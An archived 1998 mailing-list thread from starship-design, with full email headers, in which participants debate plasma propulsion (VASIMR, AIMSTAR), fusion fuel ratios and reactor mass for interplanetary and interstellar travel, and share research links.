""9"" nil nil nil nil nil] nil) Content-Length: 1147 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA19675 for starship-design-outgoing; Tue, 1 Sep 1998 16:50:30 -0700 (PDT) Received: from imo25.mx.aol.com (imo25.mx.aol.com [198.81.17.69]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id QAA19666 for ; Tue, 1 Sep 1998 16:50:27 -0700 (PDT) Received: from KellySt@aol.com by imo25.mx.aol.com (IMOv16.1) id 2GLOa18399 for ; Tue, 1 Sep 1998 19:49:56 -0400 (EDT) Message-ID: <73bc1205.35ec8824@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: Re: starship-design: Plasma Engine Date: Tue, 1 Sep 1998 19:49:56 EDT In a message dated 8/31/98 7:30:25 PM, stevev@efn.org wrote: >KellySt@aol.com writes: > > In a message dated 8/30/98 11:25:13 AM, lparker@cacaphony.net wrote: > > >Correction, AIMSTAR is claiming delta v in excess of 900 km/sec, making it > > >almost four times better than the nearest plasma engine. > > > > > >For interstellar use, we would need to boost this to at least 90,000 > > >km/sec.... > > > > > >Lee > > > > The fusion systems I used for the Explorer and Fuel/sail designs had spec imp > > of over a million. Even with that the fuel ratios for the ships were > > stagering. > > > > Kelly > >The analysis I did a long time ago, which was in terms of >mass-energy conversion and fuel-to-payload ratios, implied that >fusion had pretty a exorbitant fuel-to-payload ratio for getting >to high relativistic speeds (0.8 - 0.9 c), on the order of 10^6:1 >or worse. To get a fuel-to-payload ratio of less than 10:1 we >pretty much have to have an antimatter photon rocket.=== True which is why Explorer and Fuel/Sail peak out at about .4 C. However the 900 KM sec exaust velocity (power source unidentified) would be far worse. Kelly >From VM Tue Sep 1 17:10:25 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""538"" ""Tue"" ""1"" ""September"" ""1998"" ""19:50:02"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""31"" ""Re: RE: starship-design: Plasma Engine (VASIMR)"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 538 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA20411 for starship-design-outgoing; Tue, 1 Sep 1998 16:51:14 -0700 (PDT) Received: from imo29.mx.aol.com (imo29.mx.aol.com [198.81.17.73]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id QAA20357 for ; Tue, 1 Sep 1998 16:51:11 -0700 (PDT) Received: from KellySt@aol.com by imo29.mx.aol.com (IMOv16.1) id 2WZDa24646 for ; Tue, 1 Sep 1998 19:50:02 -0400 (EDT) Message-ID: <71ee6d57.35ec882a@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu Cc: starship-design@lists.uoregon.edu Subject: Re: RE: starship-design: Plasma Engine (VASIMR) Date: Tue, 1 Sep 1998 19:50:02 EDT In a message dated 8/31/98 8:42:54 PM, lparker@cacaphony.net wrote: >Kelly, > > > >> These sound good, but how do they expect to generate the power to run > >these > >> engines? Great spec impulse isn't much help if you need to carry along a > >> > > huge > >> reactor or something. > > > >Well, I'll admit that 40kW is a lot of power, but it is possible, even with > >current technology. > > > >Lee Thats not what I ment. To generate the power, you need fuel, lots of it. The fuel weighht is what drage all this stuff down. Kelly >From VM Tue Sep 1 17:11:27 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2188"" ""Tue"" ""1"" ""September"" ""1998"" ""19:49:59"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""83"" ""Re: RE: starship-design: Plasma Engine"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2188 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA19692 for starship-design-outgoing; Tue, 1 Sep 1998 16:50:36 -0700 (PDT) Received: from imo28.mx.aol.com (imo28.mx.aol.com [198.81.17.72]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id QAA19680 for ; Tue, 1 Sep 1998 16:50:33 -0700 (PDT) Received: from KellySt@aol.com by imo28.mx.aol.com (IMOv16.1) id 2CMPa24183 for ; Tue, 1 Sep 1998 19:49:59 -0400 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu Cc: starship-design@lists.uoregon.edu Subject: Re: RE: starship-design: Plasma Engine Date: Tue, 1 Sep 1998 19:49:59 EDT In a message dated 8/31/98 8:44:11 PM, lparker@cacaphony.net wrote: >Steve, > > > >> The analysis I did a long time ago, which was in terms of > >> mass-energy conversion and fuel-to-payload ratios, implied that > >> fusion had pretty a exorbitant fuel-to-payload ratio for getting > >> to high relativistic speeds (0.8 - 0.9 c), on the order of 10^6:1 > >> or worse. To get a fuel-to-payload ratio of less than 10:1 we > >> pretty much have to have an antimatter photon rocket. > >> > >> Timothy did indicate that you can get pretty good thrust with > >> using lots of low-velocity reaction mass, but unfortunately if > >> you make the reasonable definition that ""fuel"" is really ""energy > >> source plus reaction mass"", this implies an even worse > >> fuel-to-payload ratio, especially if you're trying to go for long > >> continuous acceleration. Sure, you can get theoretically good > >> results if you make a reaction that pushes a lot of mass at a low > >> speed in one direction and a little mass to very high speed in > >> the other, but that only works if the reaction is essentially > >> instantaneous. > >> > >> The ultimate result is that even for really fast interplanetary > >> transportation you don't need to have any major amount of > >> mass-energy conversion, but for relativistic interstellar travel > >> you do; you have to convert a mass larger than the payload to > >> energy to get a payload to speeds of 0.8c or higher, and this > >> requires either an incredible amount of low-efficiency fuel or > >> even a pretty amazing amount of antimatter. > > > >All true. To put it simplistically, an interstellar drive needs to expel > >LOTS of reaction mass at HIGH velocity. Nothing we currently have can do > >both at the same time. These newer plasma engine concepts come close and the > >various concepts for ""hybrid"" antimatter catalyzed fusion may do even > >better, but they all are still far short of what is really needed for a true > >interstellar drive. > > > >Being a science fiction author is SO much easier... > > > >Lee Gives you an idea why ultra conservative NASA is geting desperate enough to play withthe ""breakthrough physics group."" ;) Kelly >From VM Wed Sep 2 09:58:35 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""314"" ""Wed"" ""2"" ""September"" ""1998"" ""07:52:07"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""13"" ""RE: Re: starship-design: Plasma Engine"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 314 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id FAA29520 for starship-design-outgoing; Wed, 2 Sep 1998 05:52:44 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id FAA29508 for ; Wed, 2 Sep 1998 05:52:41 -0700 (PDT) Received: from lparker (p196.gnt.com [204.49.89.196]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id HAA28430; Wed, 2 Sep 1998 07:52:37 -0500 Message-ID: <000401bdd670$7e085b40$c45931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <73bc1205.35ec8824@aol.com> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: Cc: ""Starship Design"" Subject: RE: Re: starship-design: Plasma Engine Date: Wed, 2 Sep 1998 07:52:07 -0500 Kelly, > True which is why Explorer and Fuel/Sail peak out at about .4 C. > > However the 900 KM sec exaust velocity (power source unidentified) would be > far worse. That was a 900 km/sec delta v, or total change in velocity, not an exhaust velocity. As such, it is the absolute best we can currently do. Lee >From VM Wed Sep 2 09:58:35 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""666"" ""Wed"" ""2"" ""September"" ""1998"" ""07:52:09"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""17"" ""RE: RE: starship-design: Plasma Engine (VASIMR)"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 666 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id FAA29524 for starship-design-outgoing; Wed, 2 Sep 1998 05:52:45 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id FAA29515 for ; Wed, 2 Sep 1998 05:52:42 -0700 (PDT) Received: from lparker (p196.gnt.com [204.49.89.196]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id HAA28437; Wed, 2 Sep 1998 07:52:40 -0500 Message-ID: <000501bdd670$7f580cc0$c45931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 In-Reply-To: <71ee6d57.35ec882a@aol.com> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: Cc: ""Starship Design"" Subject: RE: RE: starship-design: Plasma Engine (VASIMR) Date: Wed, 2 Sep 1998 07:52:09 -0500 Kelly, > Thats not what I ment. To generate the power, you need fuel, lots of it. The > fuel weighht is what drage all this stuff down. Huh? I was talking about a 40 kW space rated nuclear reactor such as those designed for satellites. Yes it is heavy, but not because it requires lots of fuel. The purpose of this power was to drive a very large klystron tube which heats the hydrogen fuel into a plasma. NOW you have lots of fuel - for the engines, not to generate power. This engine approaches fusion engines in efficiency, making it ideal for interplanetary missions. It could even put a probe through one of the nearer star systems within fifty years. Lee >From VM Thu Sep 3 10:05:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1056"" ""Thu"" ""3"" ""September"" ""1998"" ""00:26:30"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""44"" ""Re: RE: RE: starship-design: Plasma Engine (VASIMR)"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1056 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id VAA11181 for starship-design-outgoing; Wed, 2 Sep 1998 21:27:41 -0700 (PDT) Received: from imo18.mx.aol.com (imo18.mx.aol.com [198.81.17.8]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id VAA11172 for ; Wed, 2 Sep 1998 21:27:38 -0700 (PDT) Received: from KellySt@aol.com by imo18.mx.aol.com (IMOv16.1) id VFUUa04369; Thu, 3 Sep 1998 00:26:30 -0400 (EDT) Message-ID: <2d37f509.35ee1a76@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, KellySt@aol.com Cc: starship-design@lists.uoregon.edu Subject: Re: RE: RE: starship-design: Plasma Engine (VASIMR) Date: Thu, 3 Sep 1998 00:26:30 EDT In a message dated 9/2/98 7:52:44 AM, lparker@cacaphony.net wrote: >Kelly, > > > >> Thats not what I ment. To generate the power, you need fuel, lots of it. > >The > >> fuel weighht is what drags all this stuff down. > > > >Huh? I was talking about a 40 kW space rated nuclear reactor such as those > >designed for satellites. Yes it is heavy, but not because it requires lots > >of fuel. The purpose of this power was to drive a very large klystron tube > >which heats the hydrogen fuel into a plasma. NOW you have lots of fuel - for > >the engines, not to generate power. > > > >This engine approaches fusion engines in efficiency, making it ideal for > >interplanetary missions. It could even put a probe through one of the nearer > >star systems within fifty years. > > > >Lee I.E. the reactor fisionables are the fuel, and are heavy compared to fusion fuel to generate the same power. This sounds like it would be pretty heavy compared to a direct fusion system. I.E. all the fusion energy directly converted to exaust kinetic energy. Kelly >From VM Thu Sep 3 10:05:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""488"" ""Thu"" ""3"" ""September"" ""1998"" ""00:26:28"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""33"" ""Re: RE: Re: starship-design: Plasma Engine"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 488 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id VAA11156 for starship-design-outgoing; Wed, 2 Sep 1998 21:27:20 -0700 (PDT) Received: from imo17.mx.aol.com (imo17.mx.aol.com [198.81.17.7]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id VAA11150 for ; Wed, 2 Sep 1998 21:27:18 -0700 (PDT) Received: from KellySt@aol.com by imo17.mx.aol.com (IMOv16.1) id 2HQUa20020 for ; Thu, 3 Sep 1998 00:26:28 -0400 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu Cc: starship-design@lists.uoregon.edu Subject: Re: RE: Re: starship-design: Plasma Engine Date: Thu, 3 Sep 1998 00:26:28 EDT In a message dated 9/2/98 7:52:41 AM, lparker@cacaphony.net wrote: >Kelly, > > > > > >> True which is why Explorer and Fuel/Sail peak out at about .4 C. > >> > >> However the 900 KM sec exaust velocity (power source unidentified) would > >be > >> far worse. > > > >That was a 900 km/sec delta v, or total change in velocity, not an exhaust > >velocity. As such, it is the absolute best we can currently do. > > > >Lee Oh, sory I thought you were talking about exaust velocity. Kelly >From VM Thu Sep 3 10:05:10 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""614"" ""Thu"" ""3"" ""September"" ""1998"" ""08:25:18"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""16"" ""RE: RE: RE: starship-design: Plasma Engine (VASIMR)"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 614 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id GAA17835 for starship-design-outgoing; Thu, 3 Sep 1998 06:25:46 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id GAA17830 for ; Thu, 3 Sep 1998 06:25:43 -0700 (PDT) Received: from lparker (p235.gnt.com [204.49.89.235]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id IAA20990; Thu, 3 Sep 1998 08:25:40 -0500 Message-ID: <001701bdd73e$4be53a60$eb5931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal In-Reply-To: <2d37f509.35ee1a76@aol.com> Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: Cc: ""Starship Design"" Subject: RE: RE: RE: starship-design: Plasma Engine (VASIMR) Date: Thu, 3 Sep 1998 08:25:18 -0500 Kelly, > I.E. the reactor fisionables are the fuel, and are heavy compared > to fusion > fuel to generate the same power. This sounds like it would be > pretty heavy > compared to a direct fusion system. I.E. all the fusion energy directly > converted to exaust kinetic energy. No, it still uses hydrogen as fuel. The reactor fissionables are actually an insignificant part of the mass. Especially compared to the mass requirements of a true fusion system. Think of the reactor and its fissionables as simply being the ""engine"", a 40 kW reactor weighs only slightly more than the RTG that powers Cassini. Lee >From VM Tue Sep 8 15:01:08 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""793"" ""Fri"" ""4"" ""September"" ""1998"" ""23:07:44"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""39"" ""Re: RE: RE: RE: starship-design: Plasma Engine (VASIMR)"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 793 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id UAA27000 for starship-design-outgoing; Fri, 4 Sep 1998 20:08:27 -0700 (PDT) Received: from imo14.mx.aol.com (imo14.mx.aol.com [198.81.17.4]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA26994 for ; Fri, 4 Sep 1998 20:08:24 -0700 (PDT) Received: from KellySt@aol.com by imo14.mx.aol.com (IMOv16.1) id 2OWZa09042 for ; Fri, 4 Sep 1998 23:07:44 +2000 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu Cc: starship-design@lists.uoregon.edu Subject: Re: RE: RE: RE: starship-design: Plasma Engine (VASIMR) Date: Fri, 4 Sep 1998 23:07:44 EDT In a message dated 9/3/98 8:25:52 AM, lparker@cacaphony.net wrote: >Kelly, > > > >> I.E. the reactor fisionables are the fuel, and are heavy compared > >> to fusion > >> fuel to generate the same power. This sounds like it would be > >> pretty heavy > >> compared to a direct fusion system. I.E. all the fusion energy directly > >> converted to exaust kinetic energy. > > > >No, it still uses hydrogen as fuel. The reactor fissionables are actually an > >insignificant part of the mass. Especially compared to the mass requirements > >of a true fusion system. Think of the reactor and its fissionables as simply > >being the ""engine"", a 40 kW reactor weighs only slightly more than the RTG > >that powers Cassini. > > > >Lee How much does it weigh.? How much thrust does it give? Kelly >From VM Tue Sep 8 15:01:09 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1057"" ""Sun"" ""6"" ""September"" ""1998"" ""06:53:01"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""36"" ""starship-design: Plasma Engine - VASIMR"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1057 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id EAA27856 for starship-design-outgoing; Sun, 6 Sep 1998 04:54:07 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id EAA27848 for ; Sun, 6 Sep 1998 04:54:04 -0700 (PDT) Received: from lparker (p235.gnt.com [204.49.89.235]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id GAA16401 for ; Sun, 6 Sep 1998 06:54:03 -0500 Message-ID: <000001bdd98c$e69adec0$eb5931cc@lparker> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_0001_01BDD962.FDD59FA0"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: starship-design: Plasma Engine - VASIMR Date: Sun, 6 Sep 1998 06:53:01 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0001_01BDD962.FDD59FA0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Kelly, I don't have much in specifics on the plasma engine. This link is about all there is. There used to be a great deal on the web earlier this year, but most of those pages are gone (and the ones I could find are all blank, hmmm). I am fairly certain that it is lighter than AIMSTAR, but not by much. I already posted links to the AIMSTAR site. If you need me to post them again let me know. Here is the link to CNN's story. http://cnn.com/TECH/space/9808/26/holliman/ Lee ------=_NextPart_000_0001_01BDD962.FDD59FA0 Content-Type: application/octet-stream; name="" If the suit fits ... - August 26, 1998.url"" Content-Disposition: attachment; filename="" If the suit fits ... - August 26, 1998.url"" Content-Transfer-Encoding: 7bit [InternetShortcut] URL=http://cnn.com/TECH/space/9808/26/holliman/ Modified=809EE0E685D9BD0100 ------=_NextPart_000_0001_01BDD962.FDD59FA0-- >From VM Tue Sep 8 15:01:09 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""799"" ""Mon"" ""7"" ""September"" ""1998"" ""01:54:14"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""42"" ""Re: starship-design: Plasma Engine - VASIMR"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 799 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id WAA08219 for starship-design-outgoing; Sun, 6 Sep 1998 22:55:07 -0700 (PDT) Received: from imo21.mx.aol.com (imo21.mx.aol.com [198.81.17.65]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id WAA08209 for ; Sun, 6 Sep 1998 22:55:04 -0700 (PDT) Received: from KellySt@aol.com by imo21.mx.aol.com (IMOv16.1) id 2JTKa11275 for ; Mon, 7 Sep 1998 01:54:14 -0400 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Plasma Engine - VASIMR Date: Mon, 7 Sep 1998 01:54:14 EDT In a message dated 9/6/98 7:00:08 AM, lparker@cacaphony.net wrote: > Kelly, > > > >I don't have much in specifics on the plasma engine. This link is about all > >there is. There used to be a great deal on the web earlier this year, but > >most of those pages are gone (and the ones I could find are all blank, > >hmmm). Sounds like the web. Very fadish. Nothing stays on very long. >I am fairly certain that it is lighter than AIMSTAR, but not by much. I > >already posted links to the AIMSTAR site. If you need me to post them again > >let me know. Ok, thanks for the links. Thou I doubt CNN will have much tech detail. I would have thought the NASA site would stay up? Oh well. >Here is the link to CNN's story. > > > > http://cnn.com/TECH/space/9808/26/holliman/ > > > >Lee Kelly >From VM Tue Sep 8 15:01:09 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""448"" ""Mon"" ""7"" ""September"" ""1998"" ""10:03:52"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""12"" ""RE: starship-design: Plasma Engine - VASIMR"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 448 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id IAA05883 for starship-design-outgoing; Mon, 7 Sep 1998 08:05:04 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id IAA05875 for ; Mon, 7 Sep 1998 08:05:01 -0700 (PDT) Received: from lparker (p220.gnt.com [204.49.89.220]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id KAA23141; Mon, 7 Sep 1998 10:04:39 -0500 Message-ID: <000001bdda70$ba219fc0$dc5931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: Cc: ""Starship Design"" Subject: RE: starship-design: Plasma Engine - VASIMR Date: Mon, 7 Sep 1998 10:03:52 -0500 Kelly, The link and the page at the University of Texas are still there, just no information. There were two tables of performance data from the last test but both tables' links are broken. I have tried another site that mirrors the University site with the same results. That was one of the reasons I posted the request for information in the first place. I thought someone else might be familiar with this research and could tell me more. Lee >From VM Mon Sep 14 23:22:38 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1769"" ""Mon"" ""14"" ""September"" ""1998"" ""13:09:38"" ""-0300"" ""Antonio C T Rocha"" ""arocha@bsb.nutecnet.com.br"" nil ""65"" ""Re: starship-design: Plasma Engine - VASIMR"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1769 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA05689 for starship-design-outgoing; Mon, 14 Sep 1998 09:13:13 -0700 (PDT) Received: from srv1-bsb.bsb.nutecnet.com.br (srv1.bsb.nutecnet.com.br [200.252.253.1]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id JAA05613 for ; Mon, 14 Sep 1998 09:13:05 -0700 (PDT) Received: from bsb.nutecnet.com.br ([200.252.253.95]) by srv1-bsb.bsb.nutecnet.com.br (8.8.5/SCA-6.6) with ESMTP id NAA10932; Mon, 14 Sep 1998 13:11:18 -0300 (BRA) Message-ID: <35FD3FC2.CF45F539@bsb.nutecnet.com.br> Organization: is an unstable subset of reality X-Mailer: Mozilla 4.06 [en] (Win95; I) MIME-Version: 1.0 References: <000001bdda70$ba219fc0$dc5931cc@lparker> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Antonio C T Rocha From: Antonio C T Rocha Sender: owner-starship-design@lists.uoregon.edu To: Starship Design , Edson Fonseca Subject: Re: starship-design: Plasma Engine - VASIMR Date: Mon, 14 Sep 1998 13:09:38 -0300 http://positron.aps.org/BAPSDPP97/abs/S7200.html http://positron.aps.org/BAPSDPP97/tocp.html#SpThpM2.001 http://www.langhe.com/marte/guidone.htm http://www.logbarex.se/Svensk/TunaNet/Utbildning%20och%20Kunskap/OneNet%20Vetenskap/Astronomy%20&%20Space/%2335646 http://www.hpc.uh.edu/~ilin/ http://www.quepasa.cl/revista/1371/28.html http://heasarc.gsfc.nasa.gov/docs/StarChild/space_level2/world2.html http://www.mse-ta.com/news/magnozzl.htm http://spacsun.rice.edu/baas.html http://flux.aps.org/meetings/BAPSDPP96/abs/S550041.html http://flux.aps.org/meetings/BAPSDPP96/toc7.html#S7P.041 http://positron.aps.org/BAPSDPP97/abs/S5800004.html http://eo1.gsfc.nasa.gov/technology/ppt.html <<< URL n.found? http://cougarxp.princeton.edu:2112/eppdyl/projects/lilfa.html <<< no response http://positron.aps.org/BAPSDPP97/abs/S7800012.html http://www.lerc.nasa.gov/WWW/RT1995/5000/5330m.htm http://positron.aps.org/BAPSDPP97/abs/G5800004.html http://scp.caltech.edu/html/ion_thruster_simulations.html http://ctr-sgi1.stanford.edu/CITS/hall_main.html http://flux.aps.org/meetings/BAPSPC95/abs/SJ0303.html Practical: http://positron.aps.org/BAPSDPP97/abs/S5800.html http://positron.aps.org/BAPSDPP97/abs/S2800002.html http://flux.aps.org/meetings/BAPSDPP96/abs/S740012.html http://positron.aps.org/BAPSDPP97/abs/S4300001.html http://flux.aps.org/meetings/BAPSDPP96/abs/G450002.html http://positron.aps.org/BAPSDPP97/abs/G1600004.html http://flux.aps.org/meetings/BAPSDPP96/abs/G550037.html http://www.fusion.kth.se/~andrej/Research/pub/CPC95/node18.html Primer : http://www.naui.com/solar/plasma.html http://burster.bgu.ac.il/~gedalin/fp83.html http://e-plasma.physics.ucla.edu/ipels/space-table/space_table_abstracts/N_Sato.html etc....... >From VM Tue Sep 15 23:10:29 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""694"" ""Tue"" ""15"" ""September"" ""1998"" ""06:59:26"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""22"" ""starship-design: VentureStar . Gallery . Images . Cameras (http://www.venturestar.com/pages/gall"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 694 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id HAA05382 for starship-design-outgoing; Tue, 15 Sep 1998 07:14:20 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id HAA05372 for ; Tue, 15 Sep 1998 07:14:12 -0700 (PDT) Received: from lparker (p219.gnt.com [204.49.89.219]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id HAA06793 for ; Tue, 15 Sep 1998 07:00:04 -0500 Message-ID: <000001bde0a0$4a4ea860$db5931cc@lparker> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_0001_01BDE076.61804180"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 